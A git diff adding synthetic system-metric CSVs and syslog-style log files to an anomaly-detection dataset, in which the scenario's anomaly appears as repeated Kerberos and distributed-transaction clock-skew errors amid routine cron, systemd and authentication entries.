CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:05 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:02:10 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:25 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:35 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:02:40 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:45 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:02:50 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:02:55 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:03:00 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:03:05 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:03:10 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:03:15 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:08:20 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:25 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:30 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:35 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:40 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:45 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:50 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:08:55 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:09:00 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:09:05 kerberos[5544]: ERROR Clock skew detected with KDC. Authentication failed. +Jul 16 10:09:10 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:09:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:20 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:09:25 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:09:30 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:09:35 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:40 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:09:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:09:50 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:09:55 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:10:00 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:10:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:10:10 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:10:15 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:10:20 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:10:25 systemd[1]: Starting daily clean up activities... +Jul 16 10:10:30 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:10:35 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:10:40 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:10:45 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:10:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:10:55 systemd[1]: Starting daily clean up activities... +Jul 16 10:11:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:11:05 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:11:10 systemd[1]: Starting daily clean up activities... +Jul 16 10:11:15 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:11:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:11:25 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:11:30 api-gateway[1122]: GET /api/v1/products/123 status=200 OK +Jul 16 10:11:35 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:11:40 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:11:45 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 16 10:11:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:11:55 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:12:00 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:12:05 db-connector[7890]: INFO Connection pool size: 10, active: 4 +Jul 16 10:12:10 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:12:15 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:12:20 auth-service[3456]: INFO User 'alex' authenticated successfully. +Jul 16 10:12:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_16/anom_16_17.csv b/anom_dataset/scenario_16/anom_16_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..9b08100ffe72401c50839ed5123d118aab60702b --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,16.37,47.08,17.23,0.81,1.15 +2025-07-16T10:00:05Z,13.77,37.29,27.85,0.99,0.88 +2025-07-16T10:00:10Z,14.61,44.12,23.92,1.04,0.75 +2025-07-16T10:00:15Z,13.62,40.07,33.3,0.88,1.01 +2025-07-16T10:00:20Z,13.21,42.56,28.37,0.88,0.7 +2025-07-16T10:00:25Z,15.14,43.35,26.6,0.86,0.96 +2025-07-16T10:00:30Z,13.88,42.69,32.52,0.66,0.8 +2025-07-16T10:00:35Z,13.84,39.59,35.01,0.99,1.13 +2025-07-16T10:00:40Z,15.78,40.83,35.15,1.27,0.99 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+2025-07-16T10:02:25Z,13.36,41.57,32.7,1.45,0.63 +2025-07-16T10:02:30Z,14.66,45.11,23.81,0.77,0.6 +2025-07-16T10:02:35Z,16.44,35.71,19.94,1.1,0.47 +2025-07-16T10:02:40Z,15.36,45.73,32.75,1.05,0.96 +2025-07-16T10:02:45Z,16.15,35.97,38.86,1.03,0.88 +2025-07-16T10:02:50Z,14.45,38.13,33.55,0.98,1.01 +2025-07-16T10:02:55Z,14.5,44.55,26.21,0.98,0.58 +2025-07-16T10:03:00Z,11.75,37.18,26.74,1.13,0.71 +2025-07-16T10:03:05Z,14.2,40.2,19.0,0.97,0.68 +2025-07-16T10:03:10Z,16.6,37.14,32.87,1.14,0.53 +2025-07-16T10:03:15Z,16.76,44.04,40.46,0.82,0.62 +2025-07-16T10:03:20Z,12.13,44.45,27.07,1.16,0.84 +2025-07-16T10:03:25Z,16.34,38.54,25.53,0.87,0.97 +2025-07-16T10:03:30Z,13.55,37.5,26.31,0.55,0.63 +2025-07-16T10:03:35Z,12.56,35.57,24.07,1.01,0.93 +2025-07-16T10:03:40Z,17.94,44.82,28.76,0.89,0.83 +2025-07-16T10:03:45Z,14.68,43.89,32.11,0.97,0.75 +2025-07-16T10:03:50Z,14.63,40.68,32.42,0.89,1.16 +2025-07-16T10:03:55Z,17.36,38.81,32.35,0.91,0.69 +2025-07-16T10:04:00Z,13.55,36.16,30.79,1.01,0.84 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+2025-07-16T10:07:25Z,14.07,40.09,22.74,0.79,0.65 diff --git a/anom_dataset/scenario_16/anom_16_17.log b/anom_dataset/scenario_16/anom_16_17.log new file mode 100644 index 0000000000000000000000000000000000000000..dc38b71ec714cdc28069d2a6a7d7c56886ac6690 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_17.log @@ -0,0 +1,65 @@ +Jul 16 10:00:00 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:35 server-1 CRON[1779]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:10 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:01:45 server-1 CRON[2834]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:20 server-1 kernel: [6236]: random: crng init done +Jul 16 09:57:30 server-1 kerberos[2345]: ERROR Clock skew detected for principal user@REALM.COM +Jul 16 09:57:35 server-1 kernel: [5768]: random: crng init done +Jul 16 09:57:40 server-1 CRON[2250]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:57:45 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 09:57:50 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 09:57:55 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 09:58:00 server-1 kerberos[2345]: ERROR Clock skew detected for principal user@REALM.COM +Jul 16 09:58:05 server-1 CRON[5026]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:58:10 server-1 kernel: [4142]: random: crng init done +Jul 16 09:58:15 server-1 kernel: [3575]: random: crng init done +Jul 16 09:58:20 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 09:58:25 server-1 CRON[1344]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:58:30 server-1 auth-service[3456]: WARN Authentication failed for user 'api_user': Clock skew too great +Jul 16 09:58:35 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 09:58:40 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 09:58:45 server-1 kernel: [2412]: random: crng init done +Jul 16 09:58:50 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 09:58:55 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 09:59:00 server-1 auth-service[3456]: WARN Authentication failed for user 'api_user': Clock skew too great +Jul 16 09:59:05 server-1 CRON[4885]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:59:10 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 09:59:15 server-1 CRON[4467]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:59:20 server-1 CRON[9173]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:59:25 server-1 kernel: [5021]: random: crng init done +Jul 16 09:59:30 server-1 auth-service[3456]: WARN Authentication failed for user 'api_user': Clock skew too great +Jul 16 09:59:35 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 09:59:40 server-1 kernel: [9714]: random: crng init done +Jul 16 09:59:45 server-1 kernel: [8717]: random: crng init done +Jul 16 09:59:50 server-1 CRON[7092]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 09:59:55 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:00:00 server-1 auth-service[3456]: WARN Authentication failed for user 'api_user': Clock skew too great +Jul 16 10:00:05 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:10 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:00:15 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:00:20 server-1 kernel: [6040]: random: crng init done +Jul 16 10:00:25 server-1 kernel: [2452]: random: crng init done +Jul 16 10:00:30 server-1 auth-service[3456]: WARN Authentication failed for user 'api_user': Clock skew too great +Jul 16 10:00:35 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:00:40 server-1 kernel: [5081]: random: crng init done +Jul 16 10:00:45 server-1 CRON[5890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:00:50 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:00:55 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:01:00 server-1 kerberos[2345]: ERROR Clock skew detected for principal user@REALM.COM +Jul 16 10:01:05 server-1 kernel: [8160]: random: crng init done +Jul 16 10:01:10 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:01:15 server-1 kernel: [9497]: random: crng init done +Jul 16 10:01:20 server-1 kernel: [5202]: random: crng init done +Jul 16 10:01:25 server-1 CRON[8838]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:01:30 server-1 kerberos[2345]: ERROR Clock skew detected for principal user@REALM.COM +Jul 16 10:01:35 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:40 server-1 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:45 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:01:50 server-1 kernel: [1688]: random: crng init done +Jul 16 10:01:55 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:02:00 server-1 kerberos[2345]: ERROR Clock skew detected for principal user@REALM.COM +Jul 16 10:02:05 server-1 kernel: [4090]: random: crng init done +Jul 16 10:02:10 server-1 CRON[6627]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:02:15 server-1 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:02:20 server-1 db-backup[5678]: INFO Starting database backup... +Jul 16 10:02:25 server-1 kernel: [7589]: random: crng init done diff --git a/anom_dataset/scenario_16/anom_16_18.csv b/anom_dataset/scenario_16/anom_16_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..241a6c46db1b4a59cdb930cb2db63aea417298e7 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,15.2,41.13,32.28,1.19,0.45 +2025-07-16T10:00:05Z,14.55,38.53,28.54,0.88,0.62 +2025-07-16T10:00:10Z,17.71,42.54,31.44,1.21,0.58 +2025-07-16T10:00:15Z,14.12,37.72,32.29,1.1,0.92 +2025-07-16T10:00:20Z,11.59,38.64,29.27,0.68,0.79 +2025-07-16T10:00:25Z,15.33,38.25,28.1,0.88,0.74 +2025-07-16T10:00:30Z,12.18,43.57,31.48,1.04,0.97 +2025-07-16T10:00:35Z,17.63,37.27,29.26,0.8,0.81 +2025-07-16T10:00:40Z,13.4,41.13,28.64,0.93,0.97 +2025-07-16T10:00:45Z,12.01,39.89,24.01,0.99,0.95 +2025-07-16T10:00:50Z,16.21,37.94,36.24,1.29,0.96 +2025-07-16T10:00:55Z,13.3,41.56,36.03,1.11,0.82 +2025-07-16T10:01:00Z,12.13,40.42,27.14,1.04,1.17 +2025-07-16T10:01:05Z,13.79,39.6,25.7,0.65,0.57 +2025-07-16T10:01:10Z,12.78,38.89,33.96,1.09,1.06 +2025-07-16T10:01:15Z,12.98,40.7,31.39,1.02,1.29 +2025-07-16T10:01:20Z,14.67,37.12,30.01,1.08,0.57 +2025-07-16T10:01:25Z,11.8,37.82,33.34,0.94,0.78 +2025-07-16T10:01:30Z,14.2,39.79,28.68,0.97,0.42 +2025-07-16T10:01:35Z,19.11,37.31,29.94,1.15,0.81 +2025-07-16T10:01:40Z,18.65,35.72,38.65,0.62,1.06 +2025-07-16T10:01:45Z,13.56,43.34,27.27,0.75,1.28 +2025-07-16T10:01:50Z,15.83,39.49,25.56,0.85,0.81 +2025-07-16T10:01:55Z,12.62,43.04,38.65,0.88,1.15 +2025-07-16T10:02:00Z,14.77,41.65,29.62,1.33,0.53 +2025-07-16T10:02:05Z,12.46,41.95,24.37,1.16,0.51 +2025-07-16T10:02:10Z,14.65,38.45,38.38,1.56,0.4 +2025-07-16T10:02:15Z,13.97,38.84,35.86,0.88,0.83 +2025-07-16T10:02:20Z,22.3,42.36,22.89,0.95,0.8 +2025-07-16T10:02:25Z,12.01,45.12,23.49,0.98,0.6 +2025-07-16T10:02:30Z,14.82,38.19,21.78,1.14,1.06 +2025-07-16T10:02:35Z,11.36,39.04,27.71,1.13,0.81 +2025-07-16T10:02:40Z,16.41,40.49,36.29,0.97,0.67 +2025-07-16T10:02:45Z,17.36,40.88,26.5,1.04,0.69 +2025-07-16T10:02:50Z,17.27,44.64,35.29,0.94,0.79 +2025-07-16T10:02:55Z,16.0,38.18,28.76,1.0,0.59 +2025-07-16T10:03:00Z,9.2,40.72,18.02,1.04,0.98 +2025-07-16T10:03:05Z,12.81,40.24,24.76,1.09,0.73 +2025-07-16T10:03:10Z,14.18,37.05,28.58,0.98,0.84 +2025-07-16T10:03:15Z,15.33,38.1,27.19,0.52,0.46 +2025-07-16T10:03:20Z,18.21,40.41,30.84,0.71,1.07 +2025-07-16T10:03:25Z,17.7,42.77,25.63,0.98,0.35 +2025-07-16T10:03:30Z,19.86,42.62,33.7,0.89,0.86 +2025-07-16T10:03:35Z,17.74,43.22,38.06,0.97,0.53 +2025-07-16T10:03:40Z,11.83,41.01,27.72,0.82,0.87 +2025-07-16T10:03:45Z,15.64,40.49,29.07,0.65,1.12 +2025-07-16T10:03:50Z,15.82,38.23,28.73,1.04,0.81 +2025-07-16T10:03:55Z,14.86,44.43,35.04,0.86,1.08 +2025-07-16T10:04:00Z,14.23,38.41,43.22,0.72,1.03 +2025-07-16T10:04:05Z,15.58,34.84,30.16,1.12,1.18 +2025-07-16T10:04:10Z,11.86,40.87,36.87,0.99,0.98 +2025-07-16T10:04:15Z,15.04,47.94,28.09,0.95,1.16 +2025-07-16T10:04:20Z,13.38,33.69,31.7,0.76,1.0 +2025-07-16T10:04:25Z,16.1,38.16,31.09,0.95,1.03 +2025-07-16T10:04:30Z,15.87,39.1,30.4,1.36,0.84 +2025-07-16T10:04:35Z,13.38,39.55,24.37,0.82,1.08 +2025-07-16T10:04:40Z,17.09,39.47,25.09,0.96,0.73 +2025-07-16T10:04:45Z,14.39,40.25,34.98,0.98,0.9 +2025-07-16T10:04:50Z,13.37,41.46,23.72,1.18,0.87 +2025-07-16T10:04:55Z,12.94,36.64,35.95,0.87,0.62 +2025-07-16T10:05:00Z,19.76,37.95,32.15,0.92,0.43 +2025-07-16T10:05:05Z,14.44,39.63,37.65,0.86,0.76 +2025-07-16T10:05:10Z,14.59,40.45,27.99,1.27,0.78 +2025-07-16T10:05:15Z,15.63,41.36,31.9,1.02,0.8 +2025-07-16T10:05:20Z,11.93,39.1,28.0,0.94,0.72 +2025-07-16T10:05:25Z,16.85,37.81,34.19,0.67,1.01 +2025-07-16T10:05:30Z,17.37,41.82,38.32,1.06,0.59 +2025-07-16T10:05:35Z,16.37,38.64,32.12,0.9,0.51 +2025-07-16T10:05:40Z,14.75,40.18,21.83,1.06,0.86 +2025-07-16T10:05:45Z,15.21,44.45,27.21,1.05,0.8 +2025-07-16T10:05:50Z,11.59,41.59,30.56,1.09,0.56 +2025-07-16T10:05:55Z,18.81,40.08,28.59,0.91,0.47 +2025-07-16T10:06:00Z,14.13,42.16,31.28,1.19,1.08 +2025-07-16T10:06:05Z,13.64,38.53,31.46,0.69,0.88 +2025-07-16T10:06:10Z,14.58,39.8,36.3,0.9,0.72 +2025-07-16T10:06:15Z,10.43,38.8,28.99,1.22,0.93 +2025-07-16T10:06:20Z,16.33,40.91,33.65,1.04,0.58 +2025-07-16T10:06:25Z,14.08,41.86,33.43,1.19,0.59 +2025-07-16T10:06:30Z,13.4,36.61,28.43,1.08,0.27 +2025-07-16T10:06:35Z,12.2,39.12,37.68,0.69,0.71 +2025-07-16T10:06:40Z,14.87,43.53,32.94,1.0,0.81 +2025-07-16T10:06:45Z,13.1,40.71,25.71,0.75,0.38 +2025-07-16T10:06:50Z,13.85,45.85,28.72,0.86,0.8 +2025-07-16T10:06:55Z,13.19,41.7,28.72,1.04,0.93 +2025-07-16T10:07:00Z,15.67,33.36,33.84,0.62,1.17 +2025-07-16T10:07:05Z,17.53,37.87,23.97,1.08,1.07 +2025-07-16T10:07:10Z,15.82,40.08,28.46,1.15,0.53 +2025-07-16T10:07:15Z,14.82,38.5,35.83,1.04,0.66 +2025-07-16T10:07:20Z,17.17,40.93,32.93,0.61,1.08 +2025-07-16T10:07:25Z,15.98,41.39,38.85,0.88,1.32 diff --git a/anom_dataset/scenario_16/anom_16_18.log b/anom_dataset/scenario_16/anom_16_18.log new file mode 100644 index 0000000000000000000000000000000000000000..3f6782754114e2af51b54747b63d350528f2cb9c --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_18.log @@ -0,0 +1,30 @@ +Jul 16 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:00:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 16 10:00:40 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:20 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:01:40 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 16 10:02:20 web-app[1234]: GET /api/v1/status status=200 OK +Jul 16 10:02:46 auth-service[4567]: INFO User 'admin' authenticated successfully. +Jul 16 10:03:14 systemd[1]: Starting daily clean up activities... +Jul 16 10:03:42 web-app[1234]: GET /api/v1/health status=200 OK +Jul 16 10:04:10 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:04:17 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:04:38 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:05:06 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:05:34 systemd[1]: Starting daily clean up activities... +Jul 16 10:06:02 web-app[1234]: GET /api/v1/health status=200 OK +Jul 16 10:06:02 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:06:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 10:06:37 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:06:58 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:07:12 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:07:26 auth-service[4567]: INFO User 'admin' authenticated successfully. +Jul 16 10:07:47 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:07:54 auth-service[4567]: INFO User 'admin' authenticated successfully. +Jul 16 10:08:22 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:08:22 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:08:50 auth-service[4567]: INFO Token validation successful for user 'service-account'. +Jul 16 10:08:57 distributed-tx[8899]: ERROR Transaction failed: Clock skew detected with peer node 'node-2b'. Please check system time. +Jul 16 10:09:18 auth-service[4567]: INFO User 'admin' authenticated successfully. diff --git a/anom_dataset/scenario_16/anom_16_2.csv b/anom_dataset/scenario_16/anom_16_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..b9864d9efd4c8951837b226152125ce720e6c116 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T10:00:00Z,26.56,48.38,23.02,1.02,1.14 +2025-07-18T10:00:05Z,20.63,47.38,19.41,0.74,1.02 +2025-07-18T10:00:10Z,28.2,45.67,19.6,0.96,1.11 +2025-07-18T10:00:15Z,25.77,45.21,27.95,0.71,1.01 +2025-07-18T10:00:20Z,28.87,44.87,21.87,1.09,1.5 +2025-07-18T10:00:25Z,22.44,46.83,22.04,0.88,1.06 +2025-07-18T10:00:30Z,21.22,45.65,17.37,0.88,0.78 +2025-07-18T10:00:35Z,24.06,44.65,20.5,1.06,1.11 +2025-07-18T10:00:40Z,21.12,48.68,8.35,0.84,1.55 +2025-07-18T10:00:45Z,23.53,44.83,19.87,1.1,1.48 +2025-07-18T10:00:50Z,23.7,46.78,22.97,0.78,0.67 +2025-07-18T10:00:55Z,29.14,43.0,26.25,1.08,1.74 +2025-07-18T10:01:00Z,26.37,49.49,23.01,0.93,1.14 +2025-07-18T10:01:05Z,21.3,42.79,18.34,0.9,1.42 +2025-07-18T10:01:10Z,30.18,47.52,25.33,0.68,1.43 +2025-07-18T10:01:15Z,25.87,47.98,13.61,1.05,1.25 +2025-07-18T10:01:20Z,22.93,47.71,18.47,0.98,1.25 +2025-07-18T10:01:25Z,22.67,47.18,20.36,0.8,1.03 +2025-07-18T10:01:30Z,23.55,49.79,14.57,0.69,1.41 +2025-07-18T10:01:35Z,24.1,49.95,19.76,1.03,0.9 +2025-07-18T10:01:40Z,22.81,50.53,13.52,0.98,1.12 +2025-07-18T10:01:45Z,25.46,49.14,18.42,0.42,1.57 +2025-07-18T10:01:50Z,18.04,44.56,20.39,0.71,0.73 +2025-07-18T10:01:55Z,23.45,45.33,21.4,0.76,1.53 +2025-07-18T10:02:00Z,25.88,47.41,13.46,0.88,1.78 +2025-07-18T10:02:05Z,20.44,43.7,17.51,1.02,1.17 +2025-07-18T10:02:10Z,23.66,46.12,16.95,1.01,1.19 +2025-07-18T10:02:15Z,22.88,44.93,24.59,0.66,0.9 +2025-07-18T10:02:20Z,22.24,45.14,21.7,0.6,0.99 +2025-07-18T10:02:25Z,23.09,46.18,16.46,0.75,0.88 +2025-07-18T10:02:30Z,23.13,46.5,10.94,0.88,1.68 +2025-07-18T10:02:35Z,25.5,45.24,20.57,0.95,1.23 +2025-07-18T10:02:40Z,26.12,46.82,20.37,0.79,1.26 +2025-07-18T10:02:45Z,23.9,48.88,23.97,1.02,1.02 +2025-07-18T10:02:50Z,24.57,46.98,12.59,0.75,1.58 +2025-07-18T10:02:55Z,29.3,45.24,19.14,0.75,1.71 +2025-07-18T10:03:00Z,23.41,47.77,21.49,1.28,1.19 +2025-07-18T10:03:05Z,21.5,45.93,16.46,1.02,1.61 +2025-07-18T10:03:10Z,22.73,46.68,25.2,0.95,1.22 +2025-07-18T10:03:15Z,21.41,44.83,14.4,0.61,0.81 +2025-07-18T10:03:20Z,22.7,42.89,18.17,0.66,1.5 +2025-07-18T10:03:25Z,26.72,45.79,22.91,1.13,0.93 +2025-07-18T10:03:30Z,23.41,46.25,14.06,0.78,0.9 +2025-07-18T10:03:35Z,25.5,45.85,27.12,0.82,1.51 +2025-07-18T10:03:40Z,22.09,48.14,25.21,0.85,1.16 +2025-07-18T10:03:45Z,27.99,49.75,21.12,0.68,1.01 +2025-07-18T10:03:50Z,18.7,47.71,21.58,0.86,1.11 +2025-07-18T10:03:55Z,26.55,47.56,16.55,1.09,1.03 +2025-07-18T10:04:00Z,25.26,43.52,21.53,1.01,0.69 +2025-07-18T10:04:05Z,22.34,48.19,29.74,1.28,1.52 +2025-07-18T10:04:10Z,26.62,45.08,17.71,1.12,1.24 +2025-07-18T10:04:15Z,25.29,45.8,14.53,0.72,0.67 +2025-07-18T10:04:20Z,24.06,48.65,24.71,1.03,1.18 +2025-07-18T10:04:25Z,26.47,46.8,25.43,0.76,1.32 +2025-07-18T10:04:30Z,21.43,48.35,24.96,0.96,1.25 +2025-07-18T10:04:35Z,20.5,45.54,21.52,0.9,1.29 +2025-07-18T10:04:40Z,25.86,43.98,18.18,0.99,0.61 +2025-07-18T10:04:45Z,26.55,47.25,20.16,0.73,0.99 +2025-07-18T10:04:50Z,20.16,45.97,19.37,0.97,1.33 +2025-07-18T10:04:55Z,25.26,47.03,21.87,1.28,1.03 +2025-07-18T10:05:00Z,30.43,44.07,19.2,0.99,1.62 +2025-07-18T10:05:05Z,28.58,46.66,8.9,1.01,0.78 +2025-07-18T10:05:10Z,25.34,44.87,17.52,0.99,1.17 +2025-07-18T10:05:15Z,24.19,50.33,23.75,0.78,1.91 +2025-07-18T10:05:20Z,26.46,45.91,17.66,1.18,1.08 +2025-07-18T10:05:25Z,24.61,43.23,20.39,0.9,0.99 +2025-07-18T10:05:30Z,22.75,44.06,19.44,1.08,1.0 +2025-07-18T10:05:35Z,19.93,42.44,15.02,0.73,1.59 +2025-07-18T10:05:40Z,24.08,44.17,17.4,0.9,1.05 +2025-07-18T10:05:45Z,19.91,46.27,15.13,0.57,1.69 +2025-07-18T10:05:50Z,27.76,50.34,19.43,1.16,1.51 +2025-07-18T10:05:55Z,19.36,44.66,22.73,0.81,1.72 +2025-07-18T10:06:00Z,22.1,43.36,18.79,0.93,1.98 +2025-07-18T10:06:05Z,28.9,47.09,25.94,0.58,0.83 +2025-07-18T10:06:10Z,19.34,47.71,20.49,0.56,1.18 +2025-07-18T10:06:15Z,29.59,45.87,20.62,1.11,0.92 +2025-07-18T10:06:20Z,25.92,47.4,27.26,0.94,1.03 +2025-07-18T10:06:25Z,22.79,46.85,18.34,0.57,1.73 +2025-07-18T10:06:30Z,21.19,44.29,15.83,0.72,1.09 +2025-07-18T10:06:35Z,25.09,49.13,25.97,0.74,1.33 +2025-07-18T10:06:40Z,24.91,45.25,26.28,0.86,1.14 +2025-07-18T10:06:45Z,23.1,44.39,23.0,1.1,1.35 +2025-07-18T10:06:50Z,18.79,49.5,20.37,0.95,1.25 +2025-07-18T10:06:55Z,25.93,44.34,18.58,0.93,0.8 +2025-07-18T10:07:00Z,25.62,45.6,19.72,0.92,0.9 +2025-07-18T10:07:05Z,21.8,43.15,22.35,1.2,1.17 +2025-07-18T10:07:10Z,20.17,43.08,29.37,0.85,1.61 +2025-07-18T10:07:15Z,25.62,42.54,18.23,0.93,1.15 +2025-07-18T10:07:20Z,29.95,44.44,12.28,0.74,1.22 +2025-07-18T10:07:25Z,29.24,43.48,10.35,0.88,1.13 diff --git 